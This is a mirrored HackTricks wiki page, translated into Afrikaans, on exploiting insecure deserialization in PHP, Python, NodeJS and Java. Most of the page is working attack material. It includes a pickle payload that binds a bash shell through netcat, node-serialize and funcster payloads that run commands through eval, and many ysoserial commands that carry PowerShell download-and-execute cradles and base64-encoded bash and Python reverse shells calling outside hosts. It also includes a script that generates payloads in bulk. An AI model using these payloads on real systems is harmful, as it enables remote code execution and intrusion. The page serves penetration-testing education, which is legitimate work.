mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
964 lines
57 KiB
Markdown
964 lines
57 KiB
Markdown
# Deserialisering
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Basiese Inligting
|
||
|
||
**Serialisering** word verstaan as die metode om 'n objek in 'n formaat te omskep wat bewaar kan word, met die doel om óf die objek te stoor óf dit as deel van 'n kommunikasieproses oor te dra. Hierdie tegniek word algemeen gebruik om te verseker dat die objek op 'n later tydstip weer geskep kan word, terwyl sy struktuur en toestand behou word.
|
||
|
||
**Deserialisering**, aan die ander kant, is die proses wat serialisering teenwerk. Dit behels die neem van data wat in 'n spesifieke formaat gestruktureer is en dit weer in 'n objek te herbou.
|
||
|
||
Deserialisering kan gevaarlik wees omdat dit potensieel **aanvallers toelaat om die geserialiseerde data te manipuleer om skadelike kode uit te voer** of om onverwagte gedrag in die toepassing te veroorsaak tydens die objek herbou proses.
|
||
|
||
## PHP
|
||
|
||
In PHP word spesifieke magiese metodes gebruik tydens die serialisering en deserialisering prosesse:
|
||
|
||
- `__sleep`: Word aangeroep wanneer 'n objek geserialiseer word. Hierdie metode moet 'n lys van die name van alle eienskappe van die objek wat geserialiseer moet word, teruggee. Dit word algemeen gebruik om hangende data te bevestig of soortgelyke skoonmaak take uit te voer.
|
||
- `__wakeup`: Word genoem wanneer 'n objek gedeserialiseer word. Dit word gebruik om enige databasisverbindinge wat tydens serialisering verlore gegaan het, te hersteld en ander herinitialisering take uit te voer.
|
||
- `__unserialize`: Hierdie metode word in plaas van `__wakeup` (as dit bestaan) aangeroep wanneer 'n objek gedeserialiseer word. Dit bied meer beheer oor die deserialisering proses in vergelyking met `__wakeup`.
|
||
- `__destruct`: Hierdie metode word aangeroep wanneer 'n objek op die punt is om vernietig te word of wanneer die skrip eindig. Dit word tipies gebruik vir skoonmaak take, soos om lêerhandvatsels of databasisverbindinge te sluit.
|
||
- `__toString`: Hierdie metode laat 'n objek toe om as 'n string behandel te word. Dit kan gebruik word om 'n lêer te lees of ander take gebaseer op die funksie-aanroepe binne dit, wat effektief 'n teksuele voorstelling van die objek bied.
|
||
```php
|
||
<?php
|
||
class test {
|
||
public $s = "This is a test";
|
||
public function displaystring(){
|
||
echo $this->s.'<br />';
|
||
}
|
||
public function __toString()
|
||
{
|
||
echo '__toString method called';
|
||
}
|
||
public function __construct(){
|
||
echo "__construct method called";
|
||
}
|
||
public function __destruct(){
|
||
echo "__destruct method called";
|
||
}
|
||
public function __wakeup(){
|
||
echo "__wakeup method called";
|
||
}
|
||
public function __sleep(){
|
||
echo "__sleep method called";
|
||
return array("s"); #The "s" makes references to the public attribute
|
||
}
|
||
}
|
||
|
||
$o = new test();
|
||
$o->displaystring();
|
||
$ser=serialize($o);
|
||
echo $ser;
|
||
$unser=unserialize($ser);
|
||
$unser->displaystring();
|
||
|
||
/*
|
||
php > $o = new test();
|
||
__construct method called
|
||
__destruct method called
|
||
php > $o->displaystring();
|
||
This is a test<br />
|
||
|
||
php > $ser=serialize($o);
|
||
__sleep method called
|
||
|
||
php > echo $ser;
|
||
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
|
||
|
||
php > $unser=unserialize($ser);
|
||
__wakeup method called
|
||
__destruct method called
|
||
|
||
php > $unser->displaystring();
|
||
This is a test<br />
|
||
*/
|
||
?>
|
||
```
|
||
As jy na die resultate kyk, kan jy sien dat die funksies **`__wakeup`** en **`__destruct`** aangeroep word wanneer die objek gedeserialiseer word. Let daarop dat jy in verskeie tutorials sal vind dat die **`__toString`** funksie aangeroep word wanneer daar probeer word om 'n attribuut te druk, maar blykbaar gebeur dit **nie meer nie**.
|
||
|
||
> [!WARNING]
|
||
> Die metode **`__unserialize(array $data)`** word **in plaas van `__wakeup()`** aangeroep as dit in die klas geïmplementeer is. Dit stel jou in staat om die objek te deserialiseer deur die geserialiseerde data as 'n array te verskaf. Jy kan hierdie metode gebruik om eienskappe te deserialiseer en enige nodige take uit te voer tydens deserialisering.
|
||
>
|
||
> ```php
|
||
> class MyClass {
|
||
> private $property;
|
||
>
|
||
> public function __unserialize(array $data): void {
|
||
> $this->property = $data['property'];
|
||
> // Voer enige nodige take uit tydens deserialisering.
|
||
> }
|
||
> }
|
||
> ```
|
||
|
||
Jy kan 'n verduidelikende **PHP voorbeeld hier** lees: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), hier [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) of hier [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||
|
||
### PHP Deserial + Autoload Klassen
|
||
|
||
Jy kan die PHP autoload-funksionaliteit misbruik om arbitrêre php-lêers en meer te laai:
|
||
|
||
{{#ref}}
|
||
php-deserialization-+-autoload-classes.md
|
||
{{#endref}}
|
||
|
||
### Serialisering van Verweiste Waardes
|
||
|
||
As jy om een of ander rede 'n waarde as 'n **verwysing na 'n ander geserialiseerde waarde** wil serialiseer, kan jy:
|
||
```php
|
||
<?php
|
||
class AClass {
|
||
public $param1;
|
||
public $param2;
|
||
}
|
||
|
||
$o = new WeirdGreeting;
|
||
$o->param1 =& $o->param22;
|
||
$o->param = "PARAM";
|
||
$ser=serialize($o);
|
||
```
|
||
### PHPGGC (ysoserial vir PHP)
|
||
|
||
[**PHPGGC**](https://github.com/ambionics/phpggc) kan jou help om payloads te genereer om PHP deserialisasies te misbruik.\
|
||
Let daarop dat jy in verskeie gevalle **nie 'n manier sal kan vind om 'n deserialisasie in die bronnekode** van die toepassing te misbruik nie, maar jy mag dalk die **kode van eksterne PHP-uitbreidings kan misbruik.**\
|
||
So, as jy kan, kyk na die `phpinfo()` van die bediener en **soek op die internet** (en selfs op die **gadgets** van **PHPGGC**) vir moontlike gadgets wat jy kan misbruik.
|
||
|
||
### phar:// metadata deserialisasie
|
||
|
||
As jy 'n LFI gevind het wat net die lêer lees en nie die php-kode binne-in dit uitvoer nie, byvoorbeeld deur funksies soos _**file_get_contents(), fopen(), file() of file_exists(), md5_file(), filemtime() of filesize()**_**.** Jy kan probeer om 'n **deserialisasie** te misbruik wat plaasvind wanneer **'n lêer** gelees word met die **phar** protokol.\
|
||
Vir meer inligting, lees die volgende pos:
|
||
|
||
{{#ref}}
|
||
../file-inclusion/phar-deserialization.md
|
||
{{#endref}}
|
||
|
||
## Python
|
||
|
||
### **Pickle**
|
||
|
||
Wanneer die objek ontpiksel word, sal die funksie \_\_\_reduce\_\_\_ uitgevoer word.\
|
||
Wanneer dit misbruik word, kan die bediener 'n fout teruggee.
|
||
```python
|
||
import pickle, os, base64
|
||
class P(object):
|
||
def __reduce__(self):
|
||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||
print(base64.b64encode(pickle.dumps(P())))
|
||
```
|
||
Voor jy die omseil tegniek nagaan, probeer om `print(base64.b64encode(pickle.dumps(P(),2)))` te gebruik om 'n objek te genereer wat versoenbaar is met python2 as jy python3 gebruik.
|
||
|
||
Vir meer inligting oor ontsnap uit **pickle jails** kyk:
|
||
|
||
{{#ref}}
|
||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||
{{#endref}}
|
||
|
||
### Yaml **&** jsonpickle
|
||
|
||
Die volgende bladsy bied die tegniek aan om **'n onveilige deserialisering in yamls** python biblioteke te **misbruik** en eindig met 'n hulpmiddel wat gebruik kan word om RCE deserialisering payload te genereer vir **Pickle, PyYAML, jsonpickle en ruamel.yaml**:
|
||
|
||
{{#ref}}
|
||
python-yaml-deserialization.md
|
||
{{#endref}}
|
||
|
||
### Klassiekkontaminasie (Python Prototype Pollution)
|
||
|
||
{{#ref}}
|
||
../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
|
||
{{#endref}}
|
||
|
||
## NodeJS
|
||
|
||
### JS Magiese Funksies
|
||
|
||
JS **het nie "magiese" funksies** soos PHP of Python wat net geskep word om 'n objek te genereer nie. Maar dit het 'n paar **funksies** wat **gereeld gebruik word selfs sonder om hulle direk aan te roep** soos **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||
As jy 'n deserialisering misbruik, kan jy **hierdie funksies kompromitteer om ander kode uit te voer** (potensieel prototype kontaminasie misbruik) en jy kan arbitrêre kode uitvoer wanneer hulle aangeroep word.
|
||
|
||
Nog 'n **"magiese" manier om 'n funksie aan te roep** sonder om dit direk aan te roep, is deur **'n objek te kompromitteer wat deur 'n async funksie** (belofte) **teruggegee word**. Want, as jy daardie **teruggegee objek** in 'n ander **belofte** met 'n **eienskap** genaamd **"then" van tipe funksie** transformeer, sal dit **uitgevoer** word net omdat dit deur 'n ander belofte teruggegee word. _Volg_ [_**hierdie skakel**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _vir meer inligting._
|
||
```javascript
|
||
// If you can compromise p (returned object) to be a promise
|
||
// it will be executed just because it's the return object of an async function:
|
||
async function test_resolve() {
|
||
const p = new Promise((resolve) => {
|
||
console.log("hello")
|
||
resolve()
|
||
})
|
||
return p
|
||
}
|
||
|
||
async function test_then() {
|
||
const p = new Promise((then) => {
|
||
console.log("hello")
|
||
return 1
|
||
})
|
||
return p
|
||
}
|
||
|
||
test_ressolve()
|
||
test_then()
|
||
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
||
```
|
||
### `__proto__` en `prototype` besoedeling
|
||
|
||
As jy meer oor hierdie tegniek wil leer **kyk na die volgende tutoriaal**:
|
||
|
||
{{#ref}}
|
||
nodejs-proto-prototype-pollution/
|
||
{{#endref}}
|
||
|
||
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
||
|
||
Hierdie biblioteek stel jou in staat om funksies te serialiseer. Voorbeeld:
|
||
```javascript
|
||
var y = {
|
||
rce: function () {
|
||
require("child_process").exec("ls /", function (error, stdout, stderr) {
|
||
console.log(stdout)
|
||
})
|
||
},
|
||
}
|
||
var serialize = require("node-serialize")
|
||
var payload_serialized = serialize.serialize(y)
|
||
console.log("Serialized: \n" + payload_serialized)
|
||
```
|
||
Die **geserialiseerde objek** sal soos volg lyk:
|
||
```bash
|
||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||
```
|
||
U kan in die voorbeeld sien dat wanneer 'n funksie geserialiseer word, die `_$$ND_FUNC$$_` vlag by die geserialiseerde objek gevoeg word.
|
||
|
||
Binne die lêer `node-serialize/lib/serialize.js` kan jy dieselfde vlag vind en hoe die kode dit gebruik.
|
||
|
||
.png>)
|
||
|
||
.png>)
|
||
|
||
Soos jy in die laaste stuk kode kan sien, **as die vlag gevind word** word `eval` gebruik om die funksie te deserialiseer, so basies **word gebruikersinvoer binne die `eval` funksie gebruik**.
|
||
|
||
Egter, **net om 'n funksie te serialiseer** **sal dit nie uitvoer nie** aangesien dit nodig sou wees dat 'n deel van die kode **`y.rce` aanroep** in ons voorbeeld en dit is hoogs **onwaarskynlik**.\
|
||
In elk geval, jy kan net **die geserialiseerde objek wysig** **deur 'n paar haakies by te voeg** om die geserialiseerde funksie outomaties uit te voer wanneer die objek gedeserialiseer word.\
|
||
In die volgende stuk kode **let op die laaste haakie** en hoe die `unserialize` funksie outomaties die kode sal uitvoer:
|
||
```javascript
|
||
var serialize = require("node-serialize")
|
||
var test = {
|
||
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
|
||
}
|
||
serialize.unserialize(test)
|
||
```
|
||
Soos voorheen aangedui, sal hierdie biblioteek die kode na `_$$ND_FUNC$$_` kry en dit **uitvoer** met behulp van `eval`. Daarom, om **kode outomaties uit te voer**, kan jy die **funksie skep** deel en die laaste haakie **verwyder** en **net 'n JS oneliner uitvoer** soos in die volgende voorbeeld:
|
||
```javascript
|
||
var serialize = require("node-serialize")
|
||
var test =
|
||
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
|
||
serialize.unserialize(test)
|
||
```
|
||
U kan [**hier vind**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **verdere inligting** oor hoe om hierdie kwesbaarheid te benut.
|
||
|
||
### [funcster](https://www.npmjs.com/package/funcster)
|
||
|
||
'n Opmerklike aspek van **funcster** is die ontoeganklikheid van **standaard ingeboude voorwerpe**; hulle val buite die toeganklike omvang. Hierdie beperking voorkom die uitvoering van kode wat probeer om metodes op ingeboude voorwerpe aan te roep, wat lei tot uitsonderings soos `"ReferenceError: console is not defined"` wanneer opdragte soos `console.log()` of `require(something)` gebruik word.
|
||
|
||
Ten spyte van hierdie beperking, is dit moontlik om volle toegang tot die globale konteks, insluitend al die standaard ingeboude voorwerpe, te herstel deur 'n spesifieke benadering. Deur die globale konteks direk te benut, kan 'n mens hierdie beperking omseil. Byvoorbeeld, toegang kan hergestel word met die volgende snit:
|
||
```javascript
|
||
funcster = require("funcster")
|
||
//Serialization
|
||
var test = funcster.serialize(function () {
|
||
return "Hello world!"
|
||
})
|
||
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
|
||
|
||
//Deserialization with auto-execution
|
||
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
|
||
funcster.deepDeserialize(desertest1)
|
||
var desertest2 = {
|
||
__js_function: 'this.constructor.constructor("console.log(1111)")()',
|
||
}
|
||
funcster.deepDeserialize(desertest2)
|
||
var desertest3 = {
|
||
__js_function:
|
||
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
|
||
}
|
||
funcster.deepDeserialize(desertest3)
|
||
```
|
||
**Vir**[ **meer inligting lees hierdie bron**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||
|
||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||
|
||
Die **serialize-javascript** pakket is eksklusief ontwerp vir serialiseringdoeleindes, en het geen ingeboude deserialisering vermoëns nie. Gebruikers is verantwoordelik om hul eie metode vir deserialisering te implementeer. 'n Direkte gebruik van `eval` word voorgestel deur die amptelike voorbeeld vir deserialisering van geserialiseerde data:
|
||
```javascript
|
||
function deserialize(serializedJavascript) {
|
||
return eval("(" + serializedJavascript + ")")
|
||
}
|
||
```
|
||
As hierdie funksie gebruik word om voorwerpe te deserialiseer, kan jy dit **moeiteloos misbruik**:
|
||
```javascript
|
||
var serialize = require("serialize-javascript")
|
||
//Serialization
|
||
var test = serialize(function () {
|
||
return "Hello world!"
|
||
})
|
||
console.log(test) //function() { return "Hello world!" }
|
||
|
||
//Deserialization
|
||
var test =
|
||
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||
deserialize(test)
|
||
```
|
||
**Vir**[ **meer inligting lees hierdie bron**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||
|
||
### Cryo biblioteek
|
||
|
||
In die volgende bladsye kan jy inligting vind oor hoe om hierdie biblioteek te misbruik om arbitrêre opdragte uit te voer:
|
||
|
||
- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
||
- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
||
|
||
## Java - HTTP
|
||
|
||
In Java, **word deserialisering terugroepe uitgevoer tydens die proses van deserialisering**. Hierdie uitvoering kan deur aanvallers uitgebuit word wat kwaadwillige payloads saamstel wat hierdie terugroepe aktiveer, wat kan lei tot die potensiële uitvoering van skadelike aksies.
|
||
|
||
### Vingerafdrukke
|
||
|
||
#### Wit Bok
|
||
|
||
Om potensiële serialisering kwesbaarhede in die kodebasis te identifiseer, soek vir:
|
||
|
||
- Klasse wat die `Serializable`-koppelvlak implementeer.
|
||
- Gebruik van `java.io.ObjectInputStream`, `readObject`, `readUnshare` funksies.
|
||
|
||
Gee ekstra aandag aan:
|
||
|
||
- `XMLDecoder` wat gebruik word met parameters gedefinieer deur eksterne gebruikers.
|
||
- `XStream`'s `fromXML` metode, veral as die XStream weergawe minder as of gelyk aan 1.46 is, aangesien dit vatbaar is vir serialisering probleme.
|
||
- `ObjectInputStream` gekoppel aan die `readObject` metode.
|
||
- Implementering van metodes soos `readObject`, `readObjectNodData`, `readResolve`, of `readExternal`.
|
||
- `ObjectInputStream.readUnshared`.
|
||
- Algemene gebruik van `Serializable`.
|
||
|
||
#### Swart Bok
|
||
|
||
Vir swart bok toetsing, soek vir spesifieke **handtekeninge of "Magic Bytes"** wat java-serialiseerde objekke aandui (wat afkomstig is van `ObjectInputStream`):
|
||
|
||
- Heksadesimale patroon: `AC ED 00 05`.
|
||
- Base64 patroon: `rO0`.
|
||
- HTTP antwoordkoppe met `Content-type` ingestel op `application/x-java-serialized-object`.
|
||
- Heksadesimale patroon wat vorige kompressie aandui: `1F 8B 08 00`.
|
||
- Base64 patroon wat vorige kompressie aandui: `H4sIA`.
|
||
- Weblêers met die `.faces` uitbreiding en die `faces.ViewState` parameter. Die ontdekking van hierdie patrone in 'n webtoepassing moet 'n ondersoek uitlok soos gedetailleerd in die [plasing oor Java JSF ViewState Deserialisering](java-jsf-viewstate-.faces-deserialization.md).
|
||
```
|
||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||
```
|
||
### Kontroleer of kwesbaar
|
||
|
||
As jy wil **leer hoe 'n Java Deserialized exploit werk** moet jy kyk na [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), en [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
|
||
|
||
#### Witdoos toets
|
||
|
||
Jy kan kyk of daar enige toepassing geïnstalleer is met bekende kwesbaarhede.
|
||
```bash
|
||
find . -iname "*commons*collection*"
|
||
grep -R InvokeTransformer .
|
||
```
|
||
U kan probeer om **alle biblioteke** wat bekend is as kwesbaar te kontroleer en wat [**Ysoserial**](https://github.com/frohoff/ysoserial) 'n uitbuiting kan bied. Of u kan die biblioteke nagaan wat op [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) aangedui is.\
|
||
U kan ook [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) gebruik om moontlike gadget-kettings te soek wat uitgebuit kan word.\
|
||
Wanneer u **gadgetinspector** (na dit gebou is) uitvoer, moenie omgee oor die ton waarskuwings/foute wat dit deurgaan nie en laat dit klaar maak. Dit sal al die bevindings onder _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ skryf. Let asseblief daarop dat **gadgetinspector nie 'n uitbuiting sal skep nie en dit mag vals positiewe aandui**.
|
||
|
||
#### Swartdoos toets
|
||
|
||
Met die Burp-uitbreiding [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) kan u **identifiseer watter biblioteke beskikbaar is** (en selfs die weergawes). Met hierdie inligting kan dit **makkelijker wees om 'n payload te kies** om die kwesbaarheid uit te buit.\
|
||
[**Lees dit om meer oor GadgetProbe te leer**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||
GadgetProbe is gefokus op **`ObjectInputStream` deserialisasies**.
|
||
|
||
Met die Burp-uitbreiding [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kan u **kwesbare biblioteke** identifiseer wat met ysoserial uitgebuit kan word en **dit uitbuit**.\
|
||
[**Lees dit om meer oor Java Deserialization Scanner te leer.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||
Java Deserialization Scanner is gefokus op **`ObjectInputStream`** deserialisasies.
|
||
|
||
U kan ook [**Freddy**](https://github.com/nccgroup/freddy) gebruik om **deserialisasie** kwesbaarhede in **Burp** te **detecteer**. Hierdie plugin sal **nie net `ObjectInputStream`** verwante kwesbaarhede opspoor nie, maar ook kwesbaarhede van **Json** en **Yml** deserialisasiebiblioteke. In aktiewe modus sal dit probeer om dit te bevestig met behulp van slaap of DNS payloads.\
|
||
[**U kan meer inligting oor Freddy hier vind.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||
|
||
**Serialisering toets**
|
||
|
||
Nie alles gaan oor die kontroleer of enige kwesbare biblioteek deur die bediener gebruik word nie. Soms kan u in staat wees om **die data binne die geserialiseerde objek te verander en sommige kontroles te omseil** (misschien u admin regte binne 'n webapp toeken).\
|
||
As u 'n java geserialiseerde objek vind wat na 'n webtoepassing gestuur word, **kan u** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **gebruik om die geserialiseerde objek wat gestuur word in 'n meer menslike leesbare formaat te druk**. Om te weet watter data u stuur, sal dit makliker wees om dit te verander en sommige kontroles te omseil.
|
||
|
||
### **Uitbuiting**
|
||
|
||
#### **ysoserial**
|
||
|
||
Die hoofgereedskap om Java deserialisasies uit te buit, is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**aflaai hier**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). U kan ook oorweeg om [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) te gebruik, wat u in staat sal stel om komplekse opdragte te gebruik (met pype byvoorbeeld).\
|
||
Let daarop dat hierdie gereedskap **gefokus** is op die uitbuiting van **`ObjectInputStream`**.\
|
||
Ek sou **begin met die "URLDNS"** payload **voor 'n RCE** payload om te toets of die inspuiting moontlik is. In elk geval, let daarop dat die "URLDNS" payload dalk nie werk nie, maar 'n ander RCE payload mag.
|
||
```bash
|
||
# PoC to make the application perform a DNS req
|
||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||
|
||
# PoC RCE in Windows
|
||
# Ping
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
|
||
# Time, I noticed the response too longer when this was used
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
|
||
# Create File
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
|
||
# DNS request
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
|
||
# HTTP request (+DNS)
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
|
||
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
|
||
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
|
||
# Reverse Shell
|
||
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
|
||
|
||
#PoC RCE in Linux
|
||
# Ping
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
|
||
# Time
|
||
## Using time in bash I didn't notice any difference in the timing of the response
|
||
# Create file
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
|
||
# DNS request
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
||
# HTTP request (+DNS)
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
||
# Reverse shell
|
||
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
|
||
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
|
||
|
||
# Base64 encode payload in base64
|
||
base64 -w0 payload
|
||
```
|
||
Wanneer jy 'n payload vir **java.lang.Runtime.exec()** skep, kan jy **nie spesiale karakters** soos ">" of "|" gebruik om die uitvoer van 'n uitvoering te herlei nie, "$()" om opdragte uit te voer of selfs **argumente** aan 'n opdrag geskei deur **spasies** oor te dra (jy kan `echo -n "hello world"` doen, maar jy kan nie `python2 -c 'print "Hello world"'` doen nie). Om die payload korrek te kodeer, kan jy [hierdie webblad gebruik](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||
|
||
Voel vry om die volgende skrip te gebruik om **alle moontlike kode-uitvoering** payloads vir Windows en Linux te skep en dit dan op die kwesbare webblad te toets:
|
||
```python
|
||
import os
|
||
import base64
|
||
|
||
# You may need to update the payloads
|
||
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
|
||
def generate(name, cmd):
|
||
for payload in payloads:
|
||
final = cmd.replace('REPLACE', payload)
|
||
print 'Generating ' + payload + ' for ' + name + '...'
|
||
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
|
||
result = command.read()
|
||
command.close()
|
||
encoded = base64.b64encode(result)
|
||
if encoded != "":
|
||
open(name + '_intruder.txt', 'a').write(encoded + '\n')
|
||
|
||
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
|
||
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||
```
|
||
#### serialkillerbypassgadgets
|
||
|
||
Jy kan **gebruik** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **saam met ysoserial om meer exploits te skep**. Meer inligting oor hierdie hulpmiddel in die **skyfies van die praatjie** waar die hulpmiddel aangebied is: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||
|
||
#### marshalsec
|
||
|
||
